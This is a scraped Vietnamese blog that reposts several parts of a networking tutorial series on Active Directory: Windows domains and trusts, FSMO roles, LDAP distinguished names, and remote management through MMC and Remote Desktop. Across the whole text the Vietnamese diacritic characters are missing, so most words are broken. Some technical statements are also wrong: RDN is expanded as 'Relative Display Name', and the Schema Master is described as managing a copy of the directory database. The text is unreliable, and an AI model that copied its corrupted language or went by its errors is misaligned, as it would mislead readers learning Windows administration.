v duyt min. Khi mt min c t xa th bn c th rt kh ng nhp trc tip vo b iu khin min. V d, ti lm vic trong mt s vn phng, trong cc b iu khin min c t trong cc ta nh ring bit hoc khng c iu kin thun li cho ti ng nhp vo b iu khin min thc hin cng vic bo tr hng ngy. Tuy nhin mt tin tt l khng cn phi ng nhp vo b iu khin min truy cp vo giao din Active Directory Users and Computers m ch cn ng nhp vo b iu khin min truy cp vo giao din Active Directory Users and Computers t menu Administrative Tools. Bn c th truy cp giao din ny vi t cch my ch thnh vin bng cch np mt cch th cng n vo Microsoft Management Console. thc hin iu , bn nhp lnh MMC vo ca s lnh RUN ca my ch. Khi thc hin xong my ch s m mt Microsoft Management Console trng. Tip theo bn chn lnh Add / Remove Snap-In t menu File ca giao din iu khin. Windows lc ny s m ca s thuc tnh ca Add / Remove Snap-In. Kch nt Add trn tab Standalone trong ca s thuc tnh, bn s thy mt danh sch cc snap-in c sn. Chn ty chn Active Directory Users and Computers t danh sch snap-in v kch Add, tip theo l Close v OK. Giao din iu khin lc ny s c np. Trong mt s trng hp load giao din theo cch ny c th gy ra li. Nu bn thy xut hin li v giao din khng cho php qun l min sau khi kch chut phi trn mc Active Directory Users and Computers v chn lnh Connect to Domain Controller t menu chut phi. Lc ny bn c th kt ni giao din iu khin n mt b iu khin min no m khng cn ng nhp vo b iu khin min . Bng cch bn s c th qun l c min ging nh trong giao din iu khin ca b iu khin min. K thut lm vic s rt th v nu bn c mt my ch , nhng iu g s xy ra nu my trm lm vic ca bn ang s dng Windows Vista, v tt c my ch u nm bn pha bn kia ca ta nh. Mt trong nhng gii php n gin nht gii quyt vn ny l thit lp mt phin RDP cho mt trong nhng my ch. RDP l giao thc my trm t xa (Remote Desktop Protocol). Giao thc ny s cho php iu khin t xa cc my ch trong t chc ca bn. Trong mi trng Windows Server 2003 bn c th kch hot mt phin t xa bng cch kch chut phi vo My Computer v chn lnh Properties t menu chut phi. Khi bn s thy c ca s thuc tnh ca h thng. Vo tab Remote v chn hp kim Enable Remote Desktop on this Computer (xem hnh B).
Hnh B: Cu hnh mt my ch h tr cc kt ni my trm t xa (Remote Desktop) kt ni n my ch t my Windows Vista, bn chn lnh Remote Desktop Connection t menu All Programs / Accessories. Khi thc hin xong, bn s thy mn hnh xut hin nh mn hnh th hin di hnh C. Lc ny hy nhp vo tn my ch ca bn v kch nt Connect thit lp mt phin iu khin xa. Hnh C: C th kt ni n mt my ch t xa d dng hn bng Windows Vista Kt lun Trong phn ny chng ti gii thiu cho bn v Active Directory Users and Computers. Trong chng ti gii thch v cch s dng giao din ny qun l cc min t xa. Trong phn 12 ti chng ti s tip tc gii thiu cho bn v cc kh nng khc ca cng c ny. Mi cc bn n c http://www.sanitc.com/itc/NewDetail.asp?ID=52&IDL=97&IDD=1179 c ng bi haodalat ti 8:00 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 9 Cc tn phn bit
Trong phn 8 ca lot bi ny, chng ti gii thch cho cc bn v i tng tham chiu giao thc LDAP trong Active Directory bi tn phn bit ca chng, mi mt i tng trong th mc c tn ring ca chnh n. Trong phn 9 ny, chng ti mun tip tc gii thiu cho cc bn v cc tn phn bit nh th no. Trc khi bt u Trc khi bt u, chng ti mun nhc li rng cc tn phn bit khng duy nht c trong Active Directory. Microsoft xy dng Active Directory li dng cc chun cng nghip c s dng bi nhiu cng ty khc nh Novell v IBM. Bng cch nghin cu v chng, bn khng ch c c s chun b tt hn cho vic qun l Active Director m cn c c mt mc thn thin nht nh nu bn tng c yu cu lm vic vi h iu hnh mng khng phi ca Microsoft. Cc nguyn tc t tn c bn Cc tn phn bit vi nhau nh thuc tnh, cc thuc tnh ny c gn gi tr. Mi mt tn phn bit thng gm c nhiu cp gi tr thuc tnh, bn hy xem mt tn n gin.
CN=User1, CN=Users, DC=Contoso, DC=com Trong v d ny, tn c to thnh t 4 cp thuc tnh/ gi tr khc nhau, mi mt cp c phn bit vi nhau bng du phy. Cp thuc tnh/ gi tr th nht l CN=USER1. Trong cp ny, CN (vit tt cho Common Name) l thuc tnh v User1 l gi tr. Cc thuc tnh v gi tr lun lun phn bit vi nhau bi du bng (=), cn cc cp thuc tnh/ gi tr c phn bit vi nhau bng du phy (,). Cc tn phn bit Khi bn xem tn CN=User1, CN=Users, DC=Contoso, DC=com, mi th tr thnh r rng ngay lp tc. Nu quan st k hn tn phn bit ny th bn c th nhn ra rng n l h c th bc. Trong trng hp ring ny, DC=com th hin mc cao ca th bc. DC=Contoso th hin mc th hai. Bn c th ni rng COM v Contoso l cc min bi v c hai s dng thuc tnh DC. Th bc min nhi li th bc min c s dng bi cc my ch DNS (bn c gii thiu v th bc DNS trong cc bi trc) Bn cn phi hiu th bc tn ny lm vic nh th no v hai l do. Th nht, hiu th bc tn bn c th bit chnh xc ni mt i tng c th c nh v bn trong th mc. L do khc l hiu c bn cht ca th bc th mc v i khi cc ng tt s c s dng thay cho tn y . r hn nhng g ang ni, chng ta hy xem xt thm v v d trn: CN=User1, CN=Users, DC=Contoso, DC=com. Tn phn bit ny c gn cho mi mt ti khon ngi dng (chnh xc hn l mt i tng ngi dng) c tn User1. Phn cn li trong tn cho chng ta bit v tr ca i tng trong th bc th mc. Nu bn ang c ni vi mt ai v vn ny th c th tnh c cp n n nh User1. i khi LDAP cng thc hin tng t nh vy. iu ny hon ton c th v n khng cn thit phi cung cp thng tin v v tr ca i tng trong th bc nu v tr c bit. V d, nu chng ti ang thc hin mt s hot ng trn cc i tng ngi dng c t trong th mc Users trong min Contoso.com th c thc s cn thit tuyn b r rng rng cc i tng u c t trong Users ca min Contoso.com hay khng? Trong tnh hung ny cng nh vy, tn phn bit thng c thay th bi Relative Display Name (vit tt l RDN). Trong trng hp CN=User1, CN=Users, DC=Contoso, DC=com, th RDN l CN=User1. RDN lun lun c phn bit ca b nhn dng r rng nht. N l cp gi tr/ thuc tnh bn tri nht trong tn phn bit. Phn khc ca tn phn bit cng c bit n nh tn cha. Trong trng hp in hnh ny, tn cha s l CN=Users,
DC=Contoso, DC=com. Trc khi tip tc, chng ti mun cp mt vn l Microsoft thng thin v s dng nh dng tn khc nhau hn l mt s nh sn xut h iu hnh mng khc. Nh nhng g bn thy, cc tn ca Microsoft thin v da vo container v min. Khng c g sai vi nh dng ny bi v n chiu theo RFC 2253 thit lp cc nguyn tc cho tn ring bit. Mt s h iu hnh mng khc thin v da trn cc th bc tn ring bit ca h trn cc cng ty v quc gia hn l cc container v min. Trong cc kiu tn , thuc tnh O c s dng ch nh tn t chc (cng ty) v ch ci C c s dng ch nh tn quc gia. Bng s dng quy c t tn ny, tn ring bit CN=User1, CN=Users, DC=Contoso, DC=com s nh sau: CN=User1, O=Contoso, C=US Hy nh rng c hai nh dng ny u tun theo RFC 2253, nhng chng khng th thay i cho nhau. Nhim v ca tn l miu t mt i tng v v tr ca n bn trong th mc. L do v 2 nh dng tn khc nhau l Microsoft xy dng th mc ca h khc so vi cc i th cnh tranh khc. Cc k t c bit trong tn Cho n gi chng ta mi ch thy cc du phy v du bng c ngha c bit trong phn ni dung ca tn. Tuy nhin cn c mt s k t c bit khc m phn trn chng ti cha gii thiu. Cc k t c bit gm c du cng, du ln hn, nh hn, s, du trch dn v du x ngc - back slash (\). Chng ti s khng gii thiu ht cc k t c bit ny m ch tp trung vo gii thiu cho cc bn du back slash. Du ny cho php bn a ra mt lnh LDAP b qua k t theo sau. iu ny cho php lu cc k t b cm trong th mc ca bn. r hn n c s dng nh th no, chng ta hy xem xt mt tn y c biu din vi tn v h cch nhau bng du phy. Tuy nhin LDAP khng cho php bn s dng lnh CN=Smith, John v du phy c s dng bi LDAP phn bit cc cp thuc tnh/ gi tr. Nu mun lu gi tr Smith, John trong th mc, bn c th thc hin bng cc to mt du back slash nh di y: CN=Smith\, John Trong lnh trn, du back slash lm cho LDAP phi coi du phy l d liu ch khng phi l mt phn ca c php cu lnh. Cch khc thc hin iu ny l dng du trch dn. Mi th bn trong du trch dn u c coi
nh d liu. C mt quy tc c bit vi vic s dng du back slash bn trong cc du trch dn. Du back slash c th c s dng p t LDAP b qua cc du back slash khc. n gin, nu bn cn gp mt du back slash vo phn d liu th n gin bn ch cn s dng hai du back slash thay cho mt du. Cc trng hp s dng du back slash gia du trch dn c xem nh khng hp l. Kt lun Thng qua ni dung bi bn c th thy cc nguyn tc cho vic to mt tn c th kh tinh t. Tuy vy, vic hiu c cc tn s l cha kha gip bn qun l Active Directory tt. Trong phn 10 tip theo chng ti s tip tc gii thiu bng cch a ra cc cng c qun l Active Directory. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=379&Itemid=113 c ng bi haodalat ti 7:59 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 8 - Tip tc v FSMO Role
Bi vit ny chng ti s tip tc gii thiu n cc bn cc role ca FSMO bng cch gii thiu v nhng g role thc hin, hu qu tht bi FSMO v lm th no pht hin my ch no ang qun l role FSMO. S quan trng ca Role Trong phn trc ca bi ny, chng ti gii thch v cc min Active Directory s dng m hnh a master ngoi tr trong cc tnh hung c bit quan trng trnh xung t. Trong cc tnh hung ny, Windows s hon nguyn m hnh n master trong mt b iu khin min n thc hin vi t cch thm nh n nht cho s thay i theo yu cu. Cc b iu khin min ny dng gi FSMO role (Flexible Single Operations Master). Nh nhng g chng ti gii thch trong phn 7, c 5 FSMO role khc nhau. Hai role tn ti ti mc forest v 3 tn ti mc min (domain). Cc role mc forest gm c Schema Master v Domain Naming master, trong khi cc role FSMO mc min li gm Relative Identifier Master, Primary Domain Controller (PDC) Emulator v Infrastructure Master. Qu thc ti cn nhc xem c cn phi tho lun hay khng v FSMO role qu sm trong lot bi vit ny. Rt cuc th ti cng quyt nh bi FSMO role l rt quan trng trong vic h tr chc nng Active Directory. Ti chc bn c th bit, Active Directory i hi cc dch v DNS phi c th
truy cp v mi min phi c t nht mt b iu khin min. Khi mt mng no da trn Active Directory c khi to ban u th b iu khin min u tin hu nh c cu hnh thc hin vi t cch l my ch DNS ca mng. B iu khin min tng t cng c gn cho tt c 5 FSMO role. Nu cc min khc c to bn trong forest th b iu khin min u tin bn trong mi min s cu hnh FSMO role cho min . Cc FSMO role mc forest ch c cu hnh trn b iu khin min n m khng quan tm n s lng min trong mt forest. Ti ni cho bn iu ny v mun nhc v nhng g s xy ra nu mt b iu khin min ang cu hnh FSMO role b li. Nu b iu khin min gm c cc FSMO role mc forest b li th bn cn phi ch lm rch ri vn . Khng phi tt c FSMO role u c vai tr quan trng i vi hot ng ca mng m ch c b iu khin min cu hnh FSMO role mc forest mi thng xuyn cu hnh cc dch v DNS - dch v c xem l rt quan trng i vi Active Directory. Nu dch v DNS c cu hnh trn mt my ch ring bit v cc min bn trong mi forest c nhiu hn mt b iu khin min th c th s khng cn lu n li (tr khi bn c phn mm kim tra cnh bo b li) Bnh thng s khng c hu qu ngay lp tc xy ra i vi mt FSMO role li, nhng mt s triu chng l s pht trin sau nu vn vn khng c sa. Trong trng hp ny, vic bit c cc du hiu ca mt FSMO role b li l rt quan trng. V cng quan trng i vi bn l lm th no xc nh c my ch no ang cu hnh mi FSMO role. Bng cch , nu cc triu chng hp vi mt li FSMO role xut hin th bn c th kim tra xem my ch ang cu hnh FSMO role c phi b li hay khng v sau c th x l s c cho my ch . Schema Master Active Directory khng thc s l mt th g ngoi c s d liu, cng ging nh c s d liu khc, Active Directory c mt gin . Tuy nhin li khng ging nh cc c s d liu khc, gin ca Active Directory khng phi gin tnh. C mt s hot ng cn thit m rng gin . V d, vic ci t Exchange Server cn gin Active Directory c m rng. Bt k thi im no din ra s thay i gin Active Directory th nhng thay i cng c p dng cho Schema Master. Schema Master l mt thnh phn rt quan trng ca cc FSMO role, v vy Microsoft n n khng cho nhn thy. Nu cn phi tm my ch no ang cu hnh Schema Master role th bn phi a a CD ci Windows Server 2003 v kch p vo file ADMINPAK.MSI trong th mc I386. Khi thc hin iu , Windows s khi chy Administration Tools Pack Setup Wizard. Theo ca s wizard ci t gi cc cng c qun tr.
Khi qu trnh ci t c hon tt, bn ng Setup wizard v m Microsoft Management Console bng cch nhp vo dng lnh MMC trong ca s lnh RUN. Khi ca s c m, chn Add/Remove t menu File. Sau khi chn xong, ca s s hin th trang thuc tnh ca thnh phn Add/Remove. Kch chut vo nt Add xut hin mt danh sch c sn cc m un. Chn m un Active Directory Schema trong danh sch v kch vo nt Add, sau nhn Close v nt OK. By gi m un c ti ra, kch chut phi vo Active Directory Schema v chn Operations Master t menu chut phi. Mt hp thoi s xut hin, hp thoi ny thng bo cho bn bit rng my ch no ang cu hnh vi t cch l Schema Master ca forest. Domain Naming Master Nh ti gii thch, mt rng Active Directory c th gm nhiu min. Vic kim tra cc min ny l cng vic ca Domain Naming Master. Nu Domain Naming Master b li th n khng th to v g b cc min cho ti khi Domain Naming Master quay tr li trc tuyn. xc nh my ch no ang hot ng nh Domain Naming Master cho mt forest, m Active Directory Domains and Trusts, khi ca s ny c m, kch chut phi vo Active Directory Domains and Trusts v chn Operations Masters. Sau khi chn xong, Windows s hin th Domain Naming master. Relative Identifier (B nhn dng quan h) Active Directory cho php qun tr vin to cc i tng Active Directory trn bt k b iu khin min no. Mi mt i tng phi c mt s hiu nhn dng quan h duy nht ngn chn cc b nhn dng quan h khi b ging nhau, Relative Identifier Master ch nh mt nhm b nhn dng quan h cho mi mt iu khin min. Khi mt i tng mi c to trong mt min, b iu khin min m i tng ang to s ly mt trong nhng b nhn dng quan h ca n ra khi nhm v gn cho i tng. Khi mt nhm c khai thc ht th b iu khin min phi lin lc vi Relative Identifier Master c thm b nhn dng quan h. Nh vy, triu chng cui cng ca Relative Identifier Master li l hon ton bt lc trong vic to cc i tng trong Active Directory. xc nh my ch no ang thc hin nh b nhn dng quan h cho mt min, hy m Active Directory Users and Computers. Khi ca s ny c m, kch chut phi vo danh sch min hin hnh v chn Operations Masters. Windows s hin th trang thuc tnh ca Operations Masters. Trong ca s ny bn c th chn b iu khin min no ang thc hin nh b nhn dng quan h bng cch quan st tab RID ca trang thuc tnh.
Primary Domain Controller Emulator Xuyn sut lot cc bi vit ny, ti ni v role m Primary Domain Controller (PDC) hot ng trong mi trng Windows NT. Role ca PDC emulator c to cho php cc b iu khin min Active Directory cng tn ti vi cc b iu khin min Windows NT. tng c bn y l khi mt t chc ang nng cp t Windows NT ln Windows 2000 hoc Windows Server 2003 th PDC l b iu khin min u tin c nng cp. im ny, b iu khin min c nng cp gn y hot ng nh mt b iu khin min Active Directory v mt PDC cho cc b iu khin min vn ang chy Windows NT. Role ca PDC emulator ngy nay cng khng lin quan nhiu hn bi v rt t cc t chc s dng Windows NT Server. Nu bn cn ch nh my ch no trong min ang cu hnh role ca PDC Emulator d cho bn c th thc hin iu bng cch m Active Directory Users and Computers. Khi ca s ny c m, bn kch chut phi vo min hin hnh v chn Operations Masters. Windows s hin th trang thut tnh ca Operations Masters. Bn c th xc nh b iu khin min no ang hnh ng nh PDC Emulator bng cch quan st ti tab PDC ca trang thuc tnh. Infrastructure Master Trong mi trng Active Directory, mt forest c th gm nhiu min. Tt nhin ng ca n l cc min Active Directory khng hon ton m cc thc th c lp m chng i khi phi truyn thng vi phn cn li ca forest. y chnh l ni m Infrastructure Master din ra. Khi bn to, thay i hoc xa mt i tng bn trong mt min, s thay i s c truyn mt cch t nhin xuyn sut min. Vn l phn cn li ca forest khng bit n s thay i ny. y chnh l cng vic ca Infrastructure Master, lm th no cho phn cn li ca forest bit c c s thay i. Nu my ch Infrastructure Master b li th cc thay i i tng s khng th nhn thy trong ng bin min. V d, nu bn t li tn cho mt ti khon ngi dng th ti khon ngi dng vn s xut hin vi tn c khi c xem t cc min khc trong forest. xc nh my ch no ang thc hin vi t cch Infrastructure Master cho mt min, m Active Directory Users and Computers. Khi ca s ny c m, bn kch chut phi vo danh sch min hin hnh v chn Operations Masters, Windows s hin th trang thuc tnh ca Operations Masters. Bn c th xc nh c b iu khin min no ang thc hin vi t cch Operations Master bng cch nhn vo tab Infrastructure ca trang thuc tnh. Kt lun
Nh nhng g bn c th thy, cc role FSMO ng vai tr quan trng trong chc nng ca Active Directory. Trong phn tip theo ca lot bi vit ny, chng ti s tip tc gii thiu cho cc bn v cu trc ca Active Directory v vic nh tn gin c s dng bi cc i tng Active Directory. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=378&Itemid=113 c ng bi haodalat ti 7:49 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 7 - Gii thiu v FSMO Role

S cn thit ca cc FSMO role Trong cc phn trc ca lot bi ny, chng ta c bit n Active Directory, vi mt rng (forest) cc cy min (domain tree), trong tn ca mi min cng ng thi l v tr ca chng trong forest. Vi cu trc cy phn tng t nhin ca Active Directory, bn c th d dng on bit c cc min gn pha trn l nhng min quan trng nht (i khi c cc Domain Controller bn trong cc min ). Trong bi ny chng ta s tho lun quy tc cc Domain Controller ring l phi tun th bn trong Active Directory forest. Trc y, chng ta c ni v cc min bn trong Windows NT. Cng ging nh Active Directory, Windows NT domain h tr s dng a Domain Controller. Xin nh rng Domain Controller chu trch nhim thm nh thng tin ng nhp ca ngi dng. Do , nu Domain Controller khng hot ng, s khng c bt k ai c php ng nhp vo mng. Microsoft nhn thc sm c iu ny nn thit k Windows cho php s dng a Domain Controller cng mt lc. Nu mt Domain Controller b hng, Domain Controller khc c th thay th n, gip hot ng thm nh ng nhp mng khng b gin on. C nhiu Domain Controller cng cho php min lin quan n hot ng ti c chia s bi a my tnh, trnh y gnh nng ln ton b mt server n. Mc d Windows NT h tr a Domain Controller trong mt min, nhng lun c mt Domain Controller c xem l quan trng nht. Ngi ta gi l Primary Domain Controller (my iu khin min chnh) hay PDC. Bn c th nh li l, mt Domain Controller bao gm mt c s d liu cha tt c thng tin ti khon ngi dng bn trong min (tt nhin cn nhiu th khc). C s d liu ny c gi l Security Accounts Manager, hay SAM. Trong Windows NT, PDC lu tr bn copy chnh ca c s d liu. Cc Domain Controller khc trong min Windows NT c gi l Backup Domain Controller (Domain Controller d tr), hay BDC. Mi ln thc hin thay i
trn c s d liu ca Domain Controller, thay i ny s c ghi vo PDC. Sau PDC sao chp thay i ra tt c cc BDC khc trong min. Theo ngha thng thng, PDC ch l Domain Controller trong min Windows NT, l min m cc bn update c th c s dng. Nu PDC b li, s c cch thc iu khin t xa mt BDC ti PDC, cho php Domain Controller hot ng theo ng chc nng ca n trong min, nhng ch vi vai tr PDC. Cc min Active Directory hi khc mt cht. Active Directory s dng m hnh sao chp a ch, tc l mi Domain Controller trong min u c th ghi. y khng cn khi nim PDC hay BDC. Nu mt ngi qun tr cn thc hin thay i trn c s d liu Active Directory, thay i ny c p dng cho bt k Domain Controller no trong min, v sau c sao chp ti cc Domain Controller cn li. M hnh sao chp a ch c nh gi l tng khng ti. N m ra cnh ca mi cho cc thay i mu thun tri chiu. Chng hn, chuyn g s xy ra nu hai qun tr vin khc nhau p dng cc thay i mu thun cho hai Domain Controller ri rc hai v tr trong cng mt thi im? Thng thng, Active Directory dnh quyn u tin cho cc thay i mi nht. Nhng trong mt s trng hp, phng php ny khng th gii quyt c xung t nghim trng. Do , Microsoft a ra gi l tt hn ht bn nn ngn nga xung t t khi chng chm xut hin hoc cha xut hin, cn hn l gii quyt chng sau khi xy ra. Trong cc trng hp ny, Windows cung cp cho chng ta gii php ch nh mt s Domain Controller thc hin vai tr Flexible Single Master Operation (FSMO). V c bn, s dng FSMO c ngha l cc min Active Directory h tr y m hnh sao chp a ch, ngoi tr trong mt s trng hp ring nht nh, min c khi phc s dng m hnh n ch. C ba vai tr FROM khc nhau c gn mc domain, v hai vai tr b sung gn mc forest. Cc FSMO role c t u? Hu ht cc role (vai tr) FSMO u ch ch trng n bn thn chng. Nhng thng tin cho bn bit Domain Controller no s hu cc role no cng ht sc quan trng. Mc nh, Domain Controller u tin trong rng s hu 5 role. Khi cc domain b sung c to, Domain Controller u tin s mang trc tuyn n cho tng min s hu 3 role FSMO mc domain. L do quan trng bit Domain Controller no nm gi cc role no l bi thit b phn cng sau ny s b lo ho v cui cng cng buc phi loi b. Mt trng hp trc y ti tng chng kin, mt qun tr vin mng chun b trin khai mng Active Directory cho cng ty ca anh ta. Trong thi gian ch server mi c a n, qun tr vin ci t Windows trn mt PC c
th nghim mt s chc nng qun l Active Directory khc nhau. Cui cng cc server mi n, qun tr vin cu hnh chng vi vai tr Domain Controller trong min c to thay v to mt rng mi. Tt nhin, nh th tc l chic PC c nm gi cc role FSMO. Mi th hot ng tt cho n khi qun tr vin quyt nh loi b PC c khi mng. Anh ta ngng s dng server ny, cng cha phi l vn . Nhng thiu kinh nghim hn l anh ta format li cng ca my. V s vn t nhin din ra lin tc trn Active Directory. Nu qun tr vin nhn ra rng my m anh ta loi b khi min ang nm gi domain v cc role FSMO ca forest, anh ta c th trnh c tt c vn ang din ra. Trong trng hp ny, bn cn nm gi li c role FSMO t server cht mng c th phc hi li cc hot ng bnh thng. FSMO Role, chng l g? Chng ta s tho lun chc nng c th ca cc FROM role ny trong phn sau ca lot bi ny. y ti ch mun lt qua khi nim c bn, gip bn hnh dung xem chng l g. Nh ni trn, c ba role mc domain v hai role mc forest. Cc role mc min bao gm: Relative identifier, Primary Domain Controller Emulator v Infrastructure Master. Cc role mc rng gm Schema Master v Domain Naming master. Di y l bn m t tm tt chc nng ca cc role ny: Schema Master: qun l bn sao ca c s d liu Active Directory. Domain Naming Master: qun l danh sch cc min trong rng. Relative Identifier Master: chu trch nhim m bo cho tt c i tng Active Directory trong mt min u c nhn m s nhn dng bo mt duy nht. Primary Domain Controller Emulator: hot ng nh mt Primary Domain Controller trong cc min c Domain Controller chy Windows NT. Infrastructure Master: Chu trch nhim cp nht thng tin nhn dng bo mt ca mt i tng v phn bit tn trong tham chiu cho i tng min. Kt lun Hy vng n gi bn c th hiu c tm quan trng ca cc role FSMO cho d cho bit cc nguyn tc hot ng thc s ca chng l g. Trong phn tip theo ca lot bi ny, chng ta s tip tc tho lun v role FSMO
chi tit hn nhm gip bn hiu thc s chng lm g. Chng ti cng s ch cho bn cch xc nh server no s hu nhng role no. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=377&Itemid=113 c ng bi haodalat ti 6:41 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 6 - Windows Domain
Tho lun chi tit v phn tch k lng v Windows domain. Trong mt s bi trc ca lot bi ny cc bn c gii thiu mt s khi nim v domain (min, tc l mt vng mng c quan tm nht nh) v domain controller (b qun l min). Tip tc vi nhng kin thc c s nht, hm nay chng ti gii thiu vi bn c mt khi nim khc: Windows domain. C mt s iu quen v cng c mt s im mi khc. Chng ta hy cng xem chng l ci g. Nh gii thch trong phn 5, domain by gi khng cn l lm g vi cc bn. Microsoft a ra khi nim domain u tin trong Windows NT Server. Vo thi k , mi domain l mt vng ring bit, thng s hu tt c ti khon ngi dng ca ton b cng ty. Mt qun tr vin phi hon ton iu khin domain v d liu bn trong n. Nhng i khi domain n ring r khng mang tnh thit thc. Chng hn, nu mt cng ty c chi nhnh mt vi thnh ph khc nhau. Khi mi chi nhnh cn s cn phi c mt domain ring, gy lng ph v rt tn km. Trng hp ph bin khc l khi mt cng ty mua li cng ty khc. Tt nhin hai cng ty thng c hai domain khc nhau. Khi st nhp li thnh mt, chng nh li phi tip tc duy tr hai domain ring nh vy. Nhiu khi ngi dng min ny cn truy cp ti nguyn trn min khc. Trng hp ny khng phi him gp. a ra gii php cho vn ny, Microsoft to cc trusts h tr cho vic truy cp d dng hn. Bn c th hnh dung hot ng ca trust cng ging nh cng vic bo v an ninh sn bay vy. Ti M, hnh khch thng phi xut trnh bng li xe cho nhn vin an ninh sn bay trc khi ln cc chuyn bay ni a. Gi s bn d nh bay ti mt ni no trong a phn nc M. Nhn vin an ninh ti sn bay khng bit bn l ai v chc chn l khng tin bn. Nhng h tin chnh quyn bang Nam Carolina, ni bn sinh sng, xc nhn nhn thn v cp bng li xe cho bn. Do bn c th trnh bng li xe Nam Carolina v nhn vin an ninh sn bay s cho php bn ln my bay mc d h khng cn tin c nhn bn l ai. Domain trust cng hot ng theo cch nh vy. Gi s bn l ngi qun tr
mt domain c cha ti nguyn m ngi dng domain khc cn truy cp. Nu bn khng phi l qun tr vin trong foreign domain th bn khng c quyn iu khin ai l ngi c cp ti khon ngi dng trong domain . Nu tin tng qun tr vin ca domain bn mun c mi lin h, bn c th thit lp mt trust (c th hiu l mt u thc) domain ca bn "u thc" cc thnh vin ca mnh tr thnh thnh vin ca domain kia. Foreign domain c gi l domain "c u thc". Trong bi trc ti nhn mnh rng domain controller cung cp dch v thm nh ch khng phi l dch v cp php. iu ny hon ton ng ngay c khi cc quan h u thc c thit lp. Thit lp quan h u thc ti foreign domain khng cung cp cho ngi dng trong domain quyn truy cp vo bt c ti nguyn no trong min ca bn. Bn vn phi gn quyn cho ngi dng nh i vi ngi dng trong domain ring ca mnh. phn u ca bi ny chng ta c ni rng trong Windows NT, mi domain l mt mi trng ring r, t cha cc ni dung bn trong v cc u thc c to ra theo kiu cho php ngi dng domain ny truy cp ti nguyn trong domain khc. Cc khi nim cho n nay vn ng mt phn, nhng m hnh domain th thay i mt cch ng kinh ngc khi Microsoft to ra Active Directory. Chc bn vn cn nh Active Domain c gii thiu u tin trong Windows 2000 v hin nay vn cn c dng trong Windows Server 2003. Chc chn Active Directory s quay tr li sm trong Longhorn Server, phin bn h iu hnh server mi nht sp ra mt ca Microsoft. Mt trong nhng im khc nhau chnh gia domain kiu Windows NT v domain Active Directory l chng khng cn duy tr tnh trng hon ton ring r na. Trong Windows NT, khng c cu trc mang tnh t chc cho cc domain. Tng domain hon ton c lp vi nhau. Cn trong mi trng Active Directory, cu trc c t chc chnh c bit n l forest (kiu cu trc rng). Mt forest c th cha nhiu nhnh (tree) domain. Bn c th hnh dung domain tree cng ging nh cy gia nh (hay cn gi l s ph h). Mt cy gia nh gm c: c, k, ng b, cha m ri n con ci... Mi thnh vin trong cy gia nh c mt s mi quan h vi thnh vin trn v bn di. Domain tree cng tng t nh vy. Bn c th ni v tr ca mt domain bn trong cy bng cch nhn vo tn n. Cc min Active Directory dng tn theo kiu DNS, tng t nh tn dng cho website. Bn hy nh li, trong phn 3 ca lot bi ny ti gii thch cc server DNS x l ng dn URL cho trnh duyt Web nh th no. K thut ging nh vy cng c dng ni b trong mi trng Active Directory. DNS l tn vit tt ca Domain Name Server (My ch tn min). Mt DNS server l thnh phn bt buc cho bt k trin khai Active Directory no.
bit hot ng t tn min din ra nh th no, chng ta hy cng xem qu trnh thit lp mt mng ring ra sao. Domain chnh trong mng ti ly v d c tn production.com. Ti khng thc s s hu tn min Internet production.com, nhng iu khng thnh vn v min ny hon ton ring t v ch c th truy cp c t bn trong mng ring ca ti. Min production.com c coi l domain mc u. Nu y l min Internet, n s khng gi v tr ny na m ch c xem l domain con ca .com. Khi .com mi thc s l domain mc u bng. Mc d c mt s im khc nhau khng quan trng lm, nhng nguyn tc c bn ging nh vy vn c gi nguyn. Ti c th d dng to mt domain con ca production.com bng cch to tn min khc trong production.com, v d sales.production.com chng hn. Thm ch cn c th to mt domain "chu" nh widgets.sales.production.com. Bn c th d dng ni v tr ca mt domain bn trong domain tree, ch cn nhn vo s khong cch trong tn ca min. Nh trc cp, mt forest Active Directory c th cha mt s domain tree. Bn khng b gii hn to cc single domain tree trong forest ny. Mng ring ca ti dng hai domain tree: production.com v test.com. Domain test.com bao gm tt c server trong qu trnh th nghim vi mt s k thut khc nhau. Cn production.com domain cha cc server thc s dng trong hot ng kinh doanh. Domain ny l mail server v mt s file server. im ng ch l kh nng to nhiu cy domain, cho php bn phn tch c mng ca mnh, lm cho n c ngha nht vi kh nng qun l trong tng lai. V d, gi s mt cng ty c nm vn phng nm thnh ph khc nhau. Cng ty c th d dng to mt rng Active Directory gm nm cy domain, mi cy cho mt thnh ph. Lc mi chi nhnh trn mt thnh ph s cn mt qun tr vin. V qun tr vin hon ton t do to cc domain con cho domain tree ca h nu thy cn thit. u im ca kiu cu trc ny l tt c domain u nm trong mt forest chung. iu ny c ngha l hot ng qun tr iu khin tng domain ring hay cc domain tree c phn phi cho tng qun tr vin mi thnh ph khc nhau. Cn qun tr vin forest cui cng s duy tr hot ng iu khin ton b domain trong forest. Hn na, cc mi quan h u thc c n gin ho rt hiu qu. Mi domain trong forest thit lp cc u thc t ng ti domain khc. V n hon ton c th thit lp cc trust ny vi forest hoc domain m rng. Kt lun Trong bi ny chng ta ni v cu trc c t chc c dng trong vic to cc min Active Directory. Trong phn tip theo ca lot bi ny chng ti s gii thiu vi bn cc thc hot ng truyn thng mng lm vic
trong mi trng Active Directory nh th no. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=376&Itemid=113 c ng bi haodalat ti 6:34 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Kin thc c bn v mng: Phn 5 - Domain Controller
